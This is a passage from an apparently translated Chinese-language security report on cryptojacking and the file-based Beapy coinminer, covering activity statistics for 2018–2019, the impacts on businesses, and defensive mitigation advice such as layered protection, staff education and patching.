虽然在2018年cryptojacking活动事件下降了52%,但不可否认的是,这仍然是网络犯罪分子感兴趣的领域。从cryptojacking的总体数据来看,2019年3月cryptojacking的尝试攻击次数不到300万次,与2018年2月的峰值相比有很大的下降(当时有800万次),但这仍然是一个巨大的数值。

4.png

图4.2018年1月至2019年3月间的cryptojacking活动

Beapy是一个基于文件的coinminer,这跟以往的情况有些不一样,因为我们在过去看到的大多数加密活动都是使用基于浏览器的coinminer进行的,这一方式之所以流行,是因为它降低了入侵的门槛,哪怕补丁完善的机器也能成为感染的目标,另外,这一方式跟2017年9月推出Coinhive货币挖掘服务息息相关,它对cryptojacking的增长中发挥了关键作用,因为这项服务使任何人都能轻易地进行货币挖掘。而后来Coinhive服务的关闭也可能是基于浏览器的cryptojacking下降的原因之一。

除了这些因素之外,基于文件的coinminer也比基于浏览器的coinminer具有明显的优势,因为前者可以更快地挖掘加密货币。门罗币曾是cryptojacking最常开采的加密货币,在2018年贬值了近90%,因此,为了能跑赢贬值速度,挖掘效率越高的方式越受网络犯罪分子的欢迎。

5.jpg

图5。基于文件的coinminer与基于浏览器的coinminer的盈利能力比较

对企业的影响

虽然cryptojacking可能不像勒索软件那样更具破坏性,但它仍可能对公司的运营产生重大影响。

cryptojacking对企业的潜在影响包括:

· 设备性能的下降,可能会影响员工工作效率并导致生产力下降

· 电池过热

· 设备老化、无法使用,导致IT成本上升

· 电力使用量增加而导致成本增长,以及基于CPU使用量计费的云计算业务

企业需要确保自己的网络免受各种安全威胁。

缓解方案

· 企业需要多重防御系统,以防止任何特定技术或保护方法中的单点故障。包括端点、电子邮件和web网关保护技术的部署,以及防火墙和漏洞评估解决方案。始终将这些安全解决方案与最新的保护功能保持同步。

· 教育任何使用设备或网络的人,敦促他们对来自陌生来源的电子邮件和未知附件保持谨慎。

· 对员工进行教育,让他们知道电脑出现coinminer的可能迹象,如果存在应立即通知相应部门。

· 监视设备上的电池使用量,如果发现可疑的使用量激增,则对其扫描看是否存在coinminer。

· 安装最新补丁,使用强密码并启用双因素身份验证。